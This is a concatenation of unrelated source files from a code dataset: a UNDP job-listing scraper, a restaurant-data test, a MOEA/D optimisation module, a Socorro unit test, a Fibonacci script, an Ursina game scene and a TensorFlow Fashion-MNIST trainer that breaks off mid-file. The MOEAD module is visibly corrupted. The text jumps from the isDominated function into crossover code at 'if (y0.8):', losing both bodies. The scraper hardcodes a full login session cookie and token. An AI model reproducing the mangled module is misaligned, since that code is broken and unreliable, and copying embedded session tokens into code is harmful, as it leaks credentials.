_crawliframe(self,response):\n '''\n UNDP网站中*号岗位页面为嵌套网页\n 实际网页在iframe框架中,提取iframe网页中真实页面\n '''\n selector = scrapy.Selector(response)\n link = selector.xpath('//iframe/@src').extract()[0]\n yield Request(url=link,callback=self._crawlhaveid,meta=response.meta,headers={\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\",\n \"Accept-Encoding\": \"gzip, deflate, br\",\n \"Accept-Language\": \"zh-CN,zh;q=0.8\",\n \"Connection\": \"keep-alive\",\n \"Cookie\": \"ExpirePage=https://jobs.partneragencies.net/psc/UNDPP1HRE2/; PS_LOGINLIST=https://jobs.partneragencies.net/UNDPP1HRE2; p1hre2-8250-PORTAL-PSJSESSIONID=TMB5ZmwQvtQrGcvRttShnVM28z3TdJv6!-454263630; PS_TOKEN=AAAAvAECAwQAAQAAAAACvAAAAAAAAAAsAARTaGRyAgBOiQgAOAAuADEAMBQyejPz3FSX5ezsObx1koeyEUlRZAAAAHwABVNkYXRhcHicLcpBCoJQEMbx/1Nx2TncKC97oB2gdBWS7kXKhRAikeAVulOH81MamN/MfAzwNZ4fYFB5v82Inrf6IWcGPiS6Fs0tH+l4KXkyhVy4URyoqLnS0FJyd6RYjmTE0u7m/z2RJ2lx0inP988zKxWUEdw=; SignOnDefault=erecruit.external.dp; ACE-JOBS=R4226155932; PS_TOKENEXPIRE=18_Oct_2017_06:27:34_GMT\",\n \"Host\": \"jobs.partneragencies.net\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",\n })\n\n def _crawlhaveid(self,response):\n '''\n 页面提取器,解析字段\n 解析iframe框架页面\n '''\n\n item = self.initItem()\n item['joburl'] = response.url\n item[\"description\"] = response.meta[\"describe\"]\n item[\"belong\"] = response.meta[\"suoshu\"]\n item[\"issuedate\"] = response.meta[\"applytime\"]\n item['incontinent'] = '北美洲'\n item['alljoburl'] = 'https://jobs.undp.org/cj_view_jobs.cfm'\n item['type'] = '科学研究'\n item['englishname'] = 'UNDP'\n item['chinesename'] = '联合国开发计划署'\n item['url'] = 'http://www.undp.org/'\n item['incountry'] = '美国'\n field = ['Agency', 'Title', 'Job ID', 'Practice Area - Job Family', 'Vacancy End Date', 'Time Left',\n 'Duty Station', 'Education & Work Experience', 'Languages', 'Grade', 'Vacancy Type',\n 'Posting Type',\n 'Bureau', 'Contract Duration', 'Background', 'Duties and Responsibilities', 'Competencies',\n 'Required Skills and Experience',\n 'Disclaimer']\n id2field = {'Agency':'',\n 'Title':'work',\n 'JobID':'',\n 'PracticeAreaJobFamily':'belong',\n 'VacancyEndDate':'ApplicationDeadline',\n 'DutyStation':'Location',\n 'TimeLeft':'',\n 'EducationWorkExperience':'education',\n 'Languages':'language',\n 'Grade':'PostLevel',\n 'VacancyType':'',\n 'PostingType':'',\n 'Bureau':'',\n 'ContractDuration':'contracttime',\n 'Background':'description',\n 'DutiesandResponsibilities':'responsibilities',\n 'Competencies':'skill',\n 'RequiredSkillsandExperience':'experience',\n 'Disclaimer':'addition'}\n\n selector = scrapy.Selector(response)\n table = selector.xpath(\"//table[@id='ACE_$ICField30$0']/tr/td\")\n tds = [t.strip() for t in table.xpath(\"string(.)\").extract()]\n table2 = selector.xpath(\"//table[@id='ACE_HRS_JO_PST_DSCR$0']/tr/td\")\n tds2 = [t.strip() for t in table2.xpath(\"string(.)\").extract()]\n tds.extend(tds2)\n tds.append('Disclaimer')\n temp = []\n key = 'default'\n value = ''\n try:\n for td in tds:\n if td in field:\n value = StrUtil.delMoreSpace(''.join(temp).encode('utf-8'))\n try:\n if key not in ['JobID','TimeLeft','VacancyType','PostingType','Bureau','Agency']:\n item[id2field.get(key)] = value\n except:\n pass\n temp = []\n key = re.sub('[-& ]', '', td.encode('utf-8'))\n else:\n temp.append(td)\n except:\n logger.error('parser error!')\n self.debugItem(item)\n self.insert(item,spiderName=self.name)","sub_path":"Job/spiders/jobSpider/crawlUNDPjobs.py","file_name":"crawlUNDPjobs.py","file_ext":"py","file_size_in_byte":11041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"279403252","text":"'''\nExecute a sample data collection and processing (1 Cuisine, 2 Restaruants)\n\nNak Won Rim, Anqi Hu, Chia-yun Chang\n'''\n\nimport scraper\nimport tract_income\nimport inspection\nimport count_crime\nimport pandas as pd\n\ndef test():\n '''\n A test code for go() function in go.py. Scrapes only one cuisine from\n allmenus.com (resulting in two restaurants), add the census tract of\n restaurants, area median income of restaurants, most recent food\n inspection result of restaurant and the number of crimes that happened\n within 0.8 kms of restaurant.\n Creates 'sample.pkl', which is a pickle file that containing the created\n sample data.\n '''\n\n sc = scraper.Scraper()\n sc.add_cuisine('Afghan')\n sc.get_url_set()\n df = sc.scrape_menus()\n df['Tract'] = df['Address'].apply(tract_income.get_tract)\n df['Income'] = df['Tract'].apply(tract_income.get_income)\n df['Inspection'] = df.apply(inspection.get_inspection, axis=1)\n df2 = pd.DataFrame(df['Coordinate'].apply(count_crime.count_crimes))\n df = pd.merge(df, df2, left_index=True, right_index=True)\n df.columns = [c.title() for c in df.columns]\n df.drop(columns=['Address', 'Cuisine'], inplace=True)\n df.to_pickle('sample.pkl')\n\nif __name__ == \"__main__\":\n test()\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"217416275","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 8 16:09:58 2019\n\n@author: Feng hui\n\"\"\"\n\nimport numpy as np\nimport random\nimport GA\nimport NSGA_II \nimport time\n\n\n'''\n功能:获得随机的权重向量\nObjVar:目标变量数量\nN:目标问题数量\n'''\ndef getRandomVector(ObjVar, N):\n weightsVec = []\n for i in range(N):\n weightsVec.append(np.random.rand(ObjVar))\n weightsVec[i] /= np.sum(weightsVec[i])\n return np.array(weightsVec)\n\n#获得权重向量的邻居\ndef getNeighbor(weightsVec, neiNum):\n n = len(weightsVec)\n B = np.zeros((n,neiNum))\n dis = np.zeros((n,1))\n for i in range(n):\n for j in range(n):\n dis[j] = np.sum( (weightsVec[i]-weightsVec[j])**2 )\n sortIndex = np.argsort(dis, axis=0) #升序排列\n B[i,:] = sortIndex[0:neiNum].T #取前neiNum个近邻\n return B\n\n#初始化解,并且初始化每个目标函数的最优解\ndef initOptiSol(boundList, func, solNums, encodeLength, encodeAccuracy):\n n = len(boundList) #变量数量\n Sols = GA.getIntialPopulation(encodeLength, solNums)\n decodeSols = GA.decodedChromosome(encodeLength, Sols, boundList, encodeAccuracy)\n Objs = func(decodeSols)\n Z = np.max(Objs, axis=0)\n return Z, Sols\n'''\n获得初始化解(实数)\n'''\ndef getActualInitSol(N , boundList):\n var = len(boundList) #变量的数量\n Sols = np.zeros((N , var))\n for i in range(N):\n for j in range(var):\n Sols[i, j] = boundList[j][0]+np.random.rand()*(boundList[j][1]-boundList[j][0])\n return Sols\n \n \ndef weightsFunc(x, Z, weights):\n vec = np.abs((x-Z)*weights)\n if vec.ndim==1:\n return np.sum(vec)\n else:\n return np.sum(vec, axis=1)\n\n#判断x是否被y支配\ndef isDominated(x, y):\n if (y0.8):\n# continue\n \n u = np.random.rand()\n if( u<0.5 ):\n r = (2*u)**(1/(yita+1))\n else:\n r = (1/(2*(1-u)))**(1/(yita+1))\n \n x1[i] = 0.5*( (1+r)*x1[i] + (1-r)*x2[i] )\n x2[i] = 0.5*( (1-r)*x1[i] + (1+r)*x2[i] )\n \n x1[i] = min(x1[i], boundList[i][1]) #修复交叉后的解\n x1[i] = max(x1[i], boundList[i][0])\n x2[i] = min(x2[i], boundList[i][1])\n x2[i] = max(x2[i], boundList[i][0])\n return x1,x2\n'''\n多项式变异 实数\n'''\ndef polyMutation(p, boundList):\n x = p.copy()\n yita = 1 #变异参数\n for i in range(len(x)):\n r = np.random.rand()\n if r>1/len(p):\n# if r>0.1:\n continue\n u = np.random.rand()\n if u<0.5:\n delta = (2*u)**(1/(yita+1))-1\n else:\n delta = 1 - ( (2*(1-u))**(1/(yita+1)) )\n x[i] += delta\n x[i] = min(x[i], boundList[i][1]) #修复变异解\n x[i] = max(x[i], boundList[i][0])\n return x\n\ndef ZDT1(x):\n m,n = x.shape #决策变量个数\n f1 = x[:,0].reshape(m,1) \n g = 9*np.sum(x[:,1:], axis=1)/(n-1)\n g = g.reshape(m,1)+1\n f2 = g*(1-(f1/g)**0.5)\n return np.concatenate((f1,f2), axis=1) \n\n\ndef ZDT2(x):\n m,n = x.shape #决策变量个数\n f1 = x[:,0].reshape(m,1) \n g = 9*np.sum(x[:,1:], axis=1)/(n-1)\n g = g.reshape(m,1)+1\n f2 = g*(1-(f1/g)**2)\n return np.concatenate((f1,f2), axis=1) #必须是两维的数据才能聚合\n \ndef ZDT3(x):\n m,n = x.shape #决策变量个数\n f1 = x[:,0].reshape(m,1) \n g = 9*np.sum(x[:,1:], axis=1)/(n-1)\n g = g.reshape(m,1)+1\n f2 = g*(1-(f1/g)**0.5 - (f1/g)*np.sin(10*np.pi*f1))\n return np.concatenate((f1,f2), axis=1) #必须是两维的数据才能聚合\n\ndef DTLZ1(x):\n m,n = x.shape\n g = 100*(n-2) + 100*np.sum( (x[:,2:]-0.5)**2-np.cos(20*np.pi*(x[:,2:]-0.5)) , axis=1)\n f1 = (1+g)*x[:,0]*x[:,1]\n f2 = (1+g)*x[:,0]*(1-x[:,1])\n f3 = (1+g)*(1-x[:,0])\n return np.concatenate((f1.reshape(m,1),f2.reshape(m,1),f3.reshape(m,1)), axis=1)\n\ndef DTLZ2(x):\n m,n = x.shape\n g = np.sum(x[:, 2:]**2, axis=1)\n f1 = (1+g)*np.cos(np.pi*x[:,0]/2)*np.cos(np.pi*x[:,1]/2)\n f2 = (1+g)*np.cos(np.pi*x[:,0]/2)*np.sin(np.pi*x[:,1]/2)\n f3 = (1+g)*np.sin(np.pi*x[:,0]/2)\n return np.concatenate((f1.reshape(m,1),f2.reshape(m,1),f3.reshape(m,1)), axis=1)\n\n\ndef generate_2D_mean_vector(N):\n vec = np.zeros((N,2))\n step = 1/N\n for i in range(N):\n vec[i,0] = step*i\n vec[i,1] = 1-vec[i,0]\n return vec\n\ndef MOEAD_Algorithm(Func, iterNum, nEP, N, T, isPrint):\n\n ObjVar = 2 #目标变量的个数\n codeAccuracy = 0.0001 #编码精度\n EP = [] #外部种群\n var = 30 #输入变量维数\n bound = [0,1]\n boundList = []\n for i in range(var):\n boundList.append(bound)\n encodeLengths = GA.getEncodedLength(codeAccuracy, boundList)\n \n nowTim = 0 \n sTim = time.time() #记录程序开始运行的系统时间\n #---------------------------------------初始化-----------------------------------\n weightsVec = generate_2D_mean_vector(N) #获取均匀分布的权重向量\n weightsNeighbor = getNeighbor(weightsVec, T) #计算向量之间的近似度 并且返回近邻向量的下标\n Z, Sols = initOptiSol(boundList, Func, N, encodeLengths, codeAccuracy ) \n #---------------------------------------更新--------------------------------------\n for iters in range(iterNum): \n for i in range(N): \n #----------------------随机在近邻中抽取两个个体--------------------\n rdIdx = random.sample(range(T), 2) #随机采取两个近邻\n weightsNeighbor = weightsNeighbor.astype(np.uint16) #修改数据类型为int\n randomNei = weightsNeighbor[i,rdIdx] #array数据形式 可以使用非整数\n x = Sols[randomNei, :] #array数据类型可以像matlab一样操作\n \n #----------------------------交叉变异--------------------------------\n #单点交叉\n crossovers = crossoverDirect(x) \n #位点变异\n mutations = GA.mutation(crossovers, Pm = 0.01) \n #染色体解码\n decodePopu = GA.decodedChromosome(encodeLengths, mutations, boundList) \n \n #-----------------------------更新Z--------------------------------\n #计算新解对应的目标函数值向量\n vals = Func(decodePopu) \n #返回支配者,对应的下标\n newSolVal, dominatorIdx = returnDominator(vals[0], vals[1]) \n Idx = newSolVal>Z\n Z[Idx] = newSolVal[Idx] \n \n #----------------------------更新临近解------------------------------\n #当前个体的近邻解\n neighbors = Sols[weightsNeighbor[i], :] \n #近邻染色体解码\n decodeNeighbors = GA.decodedChromosome(encodeLengths, neighbors, boundList) \n #计算目标函数值\n ObjVals = Func(decodeNeighbors) \n #计算新解对应的加权函数值\n newObj = weightsFunc(newSolVal, Z, weightsVec[i])\n #新解对应的染色体\n newSolChromo = mutations[dominatorIdx, :] \n #所有临近解随影的加权函数值\n weightsObjs = np.zeros((len(neighbors), 1)) \n# for k in range(len(neighbors)):\n# weightsObjs[k, 0] = weightsFunc(ObjVals[k, :], Z, weightsVec[weightsNeighbor[k]])\n# weightsObjs = weightsFunc(ObjVals, Z, weightsVec[i])\n \n for k in range(T):\n #判断产生的新个体是否比近邻要优秀\n# if weightsObjs[k]<=newObj: \n if weightsFunc(ObjVals[k, :], Z, weightsVec[weightsNeighbor[i,k]]) <= weightsFunc(newSolVal, Z, weightsVec[weightsNeighbor[i,k]]):\n Sols[weightsNeighbor[i,k], :] = newSolChromo\n \n exist = False\n delete = [] #需要删除的解\n for k in range(len(EP)):\n if (newSolVal==EP[k]).all(): #解已经存在\n exist = True\n break\n if isDominated(EP[k], newSolVal): #被新个体支配\n delete.append(k)\n elif isDominated(newSolVal, EP[k]): #新个体被支配\n exist=True\n delete.reverse()\n if len(delete)>0:\n for k in delete: #删除被支配的个体\n del EP[k]\n if exist==False:\n EP.append(newSolVal)\n while len(EP)>nEP:\n selected = np.random.randint(0, len(EP)) #生成一个随机整数 删除EP中的多余解\n del EP[selected]\n \n #是否打印运行状态\n if(isPrint): \n if (time.time()-nowTim)>=3:\n nowTim = time.time()\n schedule = 1-(iterNum-iters)/iterNum\n print('MOEAD--运行时间:%.3f s----进度:%.2f%%----EP:%d'%(nowTim-sTim, schedule*100, len(EP)))\n return EP, len(EP), time.time()-sTim\n\n\n\n\n\n\n\n","sub_path":"进化算法实验/MOEAD/MOEAD.py","file_name":"MOEAD.py","file_ext":"py","file_size_in_byte":10214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"647576508","text":"import datetime\n\nfrom socorro.external.postgresql.products import Products\nfrom socorro.external.postgresql.products import MissingOrBadArgumentException\nfrom socorro.lib import datetimeutil\nimport socorro.unittest.testlib.util as testutil\n\nfrom .unittestbase import PostgreSQLTestCase\n\n#------------------------------------------------------------------------------\ndef setup_module():\n testutil.nosePrintModule(__file__)\n\n#==============================================================================\nclass TestProducts(PostgreSQLTestCase):\n \"\"\"Test socorro.external.postgresql.products.Products class. \"\"\"\n\n #--------------------------------------------------------------------------\n def setUp(self):\n \"\"\" Populate product_info table with fake data \"\"\"\n super(TestProducts, self).setUp()\n \n cursor = self.connection.cursor()\n \n #Create table\n cursor.execute(\"\"\"\n CREATE TABLE product_info\n (\n product_name citext,\n version_string citext,\n start_date timestamp without time zone,\n end_date timestamp without time zone,\n is_featured boolean,\n build_type citext,\n throttle numeric(5,2)\n );\n CREATE TABLE products\n (\n product_name text not null,\n sort smallint not null,\n rapid_release_version text not null\n );\n \"\"\")\n \n # Insert data\n now = datetimeutil.utc_now().date()\n cursor.execute(\"\"\"\n INSERT INTO product_info VALUES\n (\n 'Firefox',\n '8.0',\n '%s',\n '%s',\n False,\n 'Release',\n 10.00\n ),\n (\n 'Firefox',\n '11.0.1',\n '%s',\n '%s',\n False,\n 'Release',\n 20.00\n ),\n (\n 'Thunderbird',\n '10.0.2b',\n '%s',\n '%s',\n False,\n 'Release',\n 30.00\n );\n INSERT INTO products VALUES\n (\n '%s',\n %d,\n '%s'\n ),\n (\n '%s',\n %d,\n '%s'\n ),\n (\n '%s',\n %d,\n '%s'\n );\n \"\"\" % (now, now,\n now, now,\n now, now,\n \"Firefox\", 1, \"firefox\",\n \"Fennec\", 3, \"mobile\",\n \"Thunderbird\", 2, \"thunderbird\"))\n\n self.connection.commit()\n \n #--------------------------------------------------------------------------\n def tearDown(self):\n \"\"\" Cleanup the database, delete tables and functions \"\"\"\n cursor = self.connection.cursor()\n cursor.execute(\"\"\"\n DROP TABLE product_info;\n DROP TABLE products;\n \"\"\")\n self.connection.commit()\n super(TestProducts, self).tearDown()\n\n #--------------------------------------------------------------------------\n def test_get(self):\n products = Products(config=self.config)\n now = datetimeutil.utc_now()\n now = datetime.datetime(now.year, now.month, now.day)\n now_str = datetimeutil.date_to_string(now)\n\n #......................................................................\n # Test 1: find one exact match for one product and one version\n params = {\n \"versions\": \"Firefox:8.0\"\n }\n res = products.get(**params)\n res_expected = {\n \"hits\": [\n {\n \"product\": \"Firefox\",\n \"version\": \"8.0\",\n \"start_date\": now_str,\n \"end_date\": now_str,\n \"is_featured\": False,\n \"build_type\": \"Release\",\n \"throttle\": 10.0\n }\n ],\n \"total\": 1\n }\n\n self.assertEqual(res, res_expected)\n\n #......................................................................\n # Test 2: Find two different products with their correct verions\n params = {\n \"versions\": [\"Firefox:11.0.1\", \"Thunderbird:10.0.2b\"]\n }\n res = products.get(**params)\n res_expected = {\n \"hits\": [\n {\n \"product\": \"Firefox\",\n \"version\": \"11.0.1\",\n \"start_date\": now_str,\n \"end_date\": now_str,\n \"is_featured\": False,\n \"build_type\": \"Release\",\n \"throttle\": 20.0\n },\n {\n \"product\": \"Thunderbird\",\n \"version\": \"10.0.2b\",\n \"start_date\": now_str,\n \"end_date\": now_str,\n \"is_featured\": False,\n \"build_type\": \"Release\",\n \"throttle\": 30.0\n }\n ],\n \"total\": 2\n }\n\n self.assertEqual(res, res_expected)\n\n #......................................................................\n # Test 3: empty result, no products:version found\n params = {\n \"versions\": \"Firefox:14.0\"\n }\n res = products.get(**params)\n res_expected = {\n \"hits\": [],\n \"total\": 0\n }\n\n self.assertEqual(res, res_expected)\n\n #......................................................................\n # Test 4: Test products list is returned with no parameters\n params = {}\n res = products.get(**params)\n res_expected = {\n \"hits\": [\n {\n \"product_name\": \"Firefox\",\n \"sort\": 1,\n \"rapid_release_version\": \"firefox\"\n },\n {\n \"product_name\": \"Fennec\",\n \"sort\": 3,\n \"rapid_release_version\": \"mobile\"\n },\n {\n \"product_name\": \"Thunderbird\",\n \"sort\": 2,\n \"rapid_release_version\": \"thunderbird\"\n }\n ],\n \"total\": 3\n }\n \n self.assertEqual(res, res_expected)\n","sub_path":"socorro/unittest/external/postgresql/test_products.py","file_name":"test_products.py","file_ext":"py","file_size_in_byte":6634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"549492466","text":"def fibo(n):\n if n == 0:\n return 0\n elif n == 1:\n return 1\n else:\n return fibo(n-1) + fibo(n-2)\ndef fibo_not_recursive(n):\n if n == 0:\n return 0\n elif n == 1:\n return 1\n a = 0\n b = 1\n curr = 2\n while True:\n temp = b\n b = a+b\n a = temp\n if curr == n:\n break\n curr += 1\n return b\nprint(fibo_not_recursive(int(input())))","sub_path":"BOJ/python/2747.py","file_name":"2747.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"270399954","text":"import FPS_Camera\nfrom ursina import *\nfrom Textures_Audio import box_texture, ground_texture, sky_texture\n\n\nclass Gun(Entity):\n def __init__(self):\n super().__init__(\n parent=camera.ui,\n model=r'assets/Objects/m4.obj',\n color=color.red,\n scale=0.05,\n rotation=Vec2(-5, -15),\n position=Vec2(0.9, -0.9))\n\n def active(self):\n self.rotation = (0, -15)\n\n def passive(self):\n self.rotation = (-5, -15)\n\n\nkeys_dict = {'q': False, 'left mouse': False, 'm': False, 'w': False, 'r': False}\n\n# borders\nborder1 = Entity(parent=scene, model='quad', scale=100, collider='box', position=(0, 50, 0), visible=False)\nborder2 = Entity(parent=scene, model='quad', scale=100, collider='box', position=(50, 50, -50), rotation=(0, 90, 0),\n visible=False)\nborder3 = Entity(parent=scene, model='quad', scale=100, collider='box', position=(-50, 50, -50),\n rotation=(0, 90, 0),\n visible=False)\nborder4 = Entity(parent=scene, model='quad', scale=100, collider='box', position=(0, 50, -100), visible=False)\n\n# boxes\nbox1 = Entity(parent=scene, texture=box_texture, model='assets/Objects/block.obj', collider='box',\n position=(5, 1.3, -26),\n scale=1.3)\nbox2 = Entity(parent=scene, texture=box_texture, model='assets/Objects/block.obj', collider='box',\n position=(-25, 1.3, -56),\n scale=1.3)\nbox3 = Entity(parent=scene, texture=box_texture, model='assets/Objects/block.obj', collider='box',\n position=(35, 1.3, -70),\n scale=1.3)\nbox4 = Entity(parent=scene, texture=box_texture, model='assets/Objects/block.obj', collider='box',\n position=(25, 1.3, -41),\n scale=1.3)\nbox5 = Entity(parent=scene, texture=box_texture, model='assets/Objects/block.obj', collider='box',\n position=(-30, 1.3, -80),\n scale=1.3)\nbox6 = Entity(parent=scene, texture=box_texture, model='assets/Objects/block.obj', collider='box',\n position=(1, 1.3, -85),\n scale=1.3)\nbox7 = Entity(parent=scene, texture=box_texture, model='assets/Objects/block.obj', collider='box',\n position=(-40, 1.3, -20),\n scale=1.3)\n\ngun = Gun()\ngame_floor = Entity(parent=scene, texture=ground_texture, model='quad', scale=100, origin_y=0.5,\n rotation=Vec3(90, 0, 0), collider='box', double_sided=True)\nfalling_floor = Entity(parent=scene, model='quad', visible=False, scale=100, origin_y=-15,\n rotation=Vec3(90, 0, 0), collider='box')\nsky = Entity(parent=scene, model='sphere', texture=sky_texture, scale=500, double_sided=True)\nfps_camera = FPS_Camera.FPS_camera()\nfps_camera.position = (random.randint(-30, 30), 5, random.randint(-70, -30))\n","sub_path":"Game_Parameters.py","file_name":"Game_Parameters.py","file_ext":"py","file_size_in_byte":2827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"306304662","text":"import tensorflow as tf\nfrom keras.utils import np_utils\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nCPU, GPU = '/CPU:0', '/GPU:0'\nDEVICE = GPU\n\ndef loadData():\n fashion_mnist = tf.keras.datasets.fashion_mnist\n\n # load the training and test data \n (tr_x, tr_y), (te_x, te_y) = fashion_mnist.load_data()\n\n # reshape the feature data\n tr_x = tr_x.reshape(tr_x.shape[0], 784)\n te_x = te_x.reshape(te_x.shape[0], 784)\n\n # noramlise feature data\n tr_x = tr_x / 255.0\n te_x = te_x / 255.0\n\n print( \"Shape of training features \", tr_x.shape)\n print( \"Shape of test features \", te_x.shape)\n\n # one hot encode the training labels and get the transpose\n tr_y = np_utils.to_categorical(tr_y,10)\n print (\"Shape of training labels \", tr_y.shape)\n\n # one hot encode the test labels and get the transpose\n te_y = np_utils.to_categorical(te_y,10)\n print (\"Shape of testing labels \", te_y.shape)\n\n return tr_x, tr_y, te_x, te_y\n\ndef forward_pass(x, weights1, bias1, weights2, bias2, weights3, bias3):\n # first layer (ReLu) with 300 neurons\n A1 = tf.matmul(x, weights1) + bias1\n H1 = tf.maximum(A1, 0)\n\n # second layer (ReLu) with 100 neurons\n A2 = tf.matmul(H1, weights2) + bias2\n H2 = tf.maximum(A2, 0)\n\n # second layer (softmax)\n A3 = tf.matmul(H2, weights3) + bias3\n t = tf.math.exp(A3)\n sumOfT = tf.reduce_sum(t, axis=1)\n sumOfT = tf.reshape(sumOfT, (H2.shape[0], 1))\n H3 = t / sumOfT\n return H3\n\ndef cross_entropy(y, pred, reg_rate, REG, weights1, weights2, weights3):\n entropy = -tf.reduce_sum(y * tf.math.log(pred + 1e-9), axis=1)\n loss = tf.reduce_mean(entropy)\n\n # regularization\n if REG == \"L1\":\n # L1 REGULARISATION\n l1 = reg_rate * (tf.reduce_sum(tf.math.abs(weights1)) + tf.reduce_sum(tf.math.abs(weights2)) + tf.reduce_sum(tf.math.abs(weights3)))\n loss = loss + l1\n elif REG == \"L2\":\n # L2 REGULARISATION\n l2 = reg_rate * (tf.reduce_sum(weights1 ** 2) + tf.reduce_sum(weights2 ** 2) + tf.reduce_sum(weights3 ** 2))\n loss = loss + l2\n\n return loss\n\ndef calculate_accuracy(x, y, weights1, bias1, weights2, bias2, weights3, bias3):\n pred = forward_pass(x, weights1, bias1, weights2, bias2, weights3, bias3)\n predictions_correct = tf.cast(tf.equal(tf.math.argmax(pred, axis=1), tf.math.argmax(y, axis=1)), tf.float32)\n accuracy = tf.reduce_mean(predictions_correct)\n\n return accuracy\n\ndef main():\n with tf.device(DEVICE):\n learning_rate = 0.01\n iterations = 500\n reg_rate = 0.0001\n REG_TYPE = [\"L1\", \"L2\"]\n\n TRAIN, TRAIN_LABEL, TEST, TEST_LABEL = loadData()\n\n TRAIN = tf.cast(TRAIN, tf.float32)\n TEST = tf.cast(TEST, tf.float32)\n TRAIN_LABEL = tf.cast(TRAIN_LABEL, tf.float32)\n TEST_LABEL = tf.cast(TEST_LABEL, tf.float32)\n \n adam_optimizer = tf.keras.optimizers.Adam(learning_rate)\n weights1, weights2, weights3 = tf.Variable(tf.random.normal([784, 300], mean=0.0, stddev=0.05, seed=0)), tf.Variable(tf.random.normal([300, 100], mean=0.0, stddev=0.05, seed=0)), tf.Variable(tf.random.normal([100, 10], mean=0.0, stddev=0.05, seed=0))\n bias1, bias2, bias3 = tf.Variable(tf.zeros([300])), tf.Variable(tf.zeros([100])), tf.Variable(tf.zeros([10]))\n\n accuracy_arr, val_acc_arr, loss_arr, val_loss_arr = [], [], [], []\n\n for i in range(iterations):\n with tf.GradientTape() as tape:\n pred = forward_pass(TRAIN, weights1, bias1, weights2, bias2, weights3, bias3)\n current_loss = cross_entropy(TRAIN_LABEL, pred, reg_rate, REG_TYPE[0], weights1, weights2, weights3)\n\n val_pred = forward_pass(TEST, weights1, bias1, weights2, bias2, weights3, bias3)\n val_loss = cross_entropy(TEST_LABEL, val_pred, reg_rate, REG_TYPE[0], weights1, weights2, weights3)\n\n gradients = tape.gradient(current_loss, [weights1, bias1, weights2, bias2, weights3, bias3])\n accuracy = calculate_accuracy(TRAIN, TRAIN_LABEL, weights1, bias1, weights2, bias2, weights3, bias3)\n\n val_accuracy = calculate_accuracy(TEST, TEST_LABEL, weights1, bias1, weights2, bias2, weights3, bias3)\n\n accuracy_arr.append(accuracy)\n loss_arr.append(current_loss)\n\n val_acc_arr.append(val_accuracy)\n val_loss_arr.append(val_loss)\n\n print (\"Iteration\", i, \": Loss = \", current_loss.numpy(), \" Acc:\", accuracy.numpy(), \" Val loss = \", val_loss.numpy(), \" Val Acc = \", val_accuracy.numpy())\n\n adam_optimizer.apply_gradients(zip(gradients, [weights1, bias1, weights2, bias2, weights3, bias3]))\n\n test_accuracy = calculate_accuracy(TEST, TEST_LABEL, weights1, bias1, weights2, bias2, weights3, bias3)\n print (\"\\nTest accuracy: \", test_accuracy.numpy(), \"\\n\")\n\n plt.style.use(\"ggplot\")\n plt.figure()\n plt.plot(np.arange(0, iterations), accuracy_arr, label=\"train_accuracy\")\n plt.plot(np.arange(0, iterations), loss_arr, label=\"train_loss\")\n plt.plot(np.arange(0, iterations), val_acc_arr, label=\"val_accuracy\")\n plt.plot(np.arange(0, iterations), val_loss_arr, label=\"val_loss\")\n plt.title(\"Training loss and accuracy (L1 Regularisation)\")\n plt.xlabel(\"Epoch#\")\n plt.ylabel(\"Loss/Accuracy\")\n plt.legend(['train_acc','train_loss', 'val_acc', 'val_loss'], loc=\"best\")\n plt.show()\n\n\n adam_optimizer = tf.keras.optimizers.Adam(learning_rate)\n weights1, weights2, weights3 = tf.Variable(tf.random.normal([784, 300], mean=0.0, stddev=0.05, seed=0)), tf.Variable(tf.random.normal([300, 100], mean=0.0, stddev=0.05)), tf.Variable(tf.random.normal([100, 10], mean=0.0, stddev=0.05))\n bias1, bias2, bias3 = tf.Variable(tf.zeros([300])), tf.Variable(tf.zeros([100])), tf.Variable(tf.zeros([10]))\n\n accuracy_arr2, loss_arr2, val_acc_arr2, val_loss_arr2 = [], [], [], []\n for i in range(iterations):\n with tf.GradientTape() as tape:\n pred = forward_pass(TRAIN, weights1, bias1, weights2, bias2, weights3, bias3)\n current_loss = cross_entropy(TRAIN_LABEL, pred, reg_rate, REG_TYPE[1], weights1, weights2, weights3)\n\n val_pred = forward_pass(TEST, weights1, bias1, weights2, bias2, weights3, bias3)\n val_loss = cross_entropy(TEST_LABEL, val_pred, reg_rate, REG_TYPE[1], weights1, weights2, weights3)\n\n gradients = tape.gradient(current_loss, [weights1, bias1, weights2, bias2, weights3, bias3])\n accuracy = calculate_accuracy(TRAIN, TRAIN_LABEL, weights1, bias1, weights2, bias2, weights3, bias3)\n\n val_accuracy = calculate_accuracy(TEST, TEST_LABEL, weights1, bias1, weights2, bias2, weights3, bias3)\n\n accuracy_arr2.append(accuracy)\n loss_arr2.append(current_loss)\n\n val_acc_arr2.append(val_accuracy)\n val_loss_arr2.append(val_loss)\n\n print (\"Iteration\", i, \": Loss = \", current_loss.numpy(), \" Acc:\", accuracy.numpy(), \" Val loss = \", val_loss.numpy(), \" Val Acc = \", val_accuracy.numpy())\n\n adam_optimizer.apply_gradients(zip(gradients, [weights1, bias1, weights2, bias2, weights3, bias3]))\n\n test_accuracy = calculate_accuracy(TEST, TEST_LABEL, weights1, bias1, weights2, bias2, weights3, bias3)\n print (\"\\nTest accuracy: \", test_accuracy.numpy())\n\n plt.style.use(\"ggplot\")\n plt.figure()\n plt.plot(np.arange(0, iterations), accuracy_arr2, label=\"train_accuracy\")\n plt.plot(np.arange(0, iterations), loss_arr2, label=\"train_loss\")\n plt.plot(np.arange(0, iterations), val_acc_arr2, label=\"val_accuracy\")\n plt.plot(np.arange(0, iterations), val_loss_arr2, label=\"val_loss\")\n plt.title(\"Training loss and accuracy (L2 Regularisation)\")\n plt.xlabel(\"Epoch#\")\n plt.ylabel(\"Loss/Accuracy\")\n 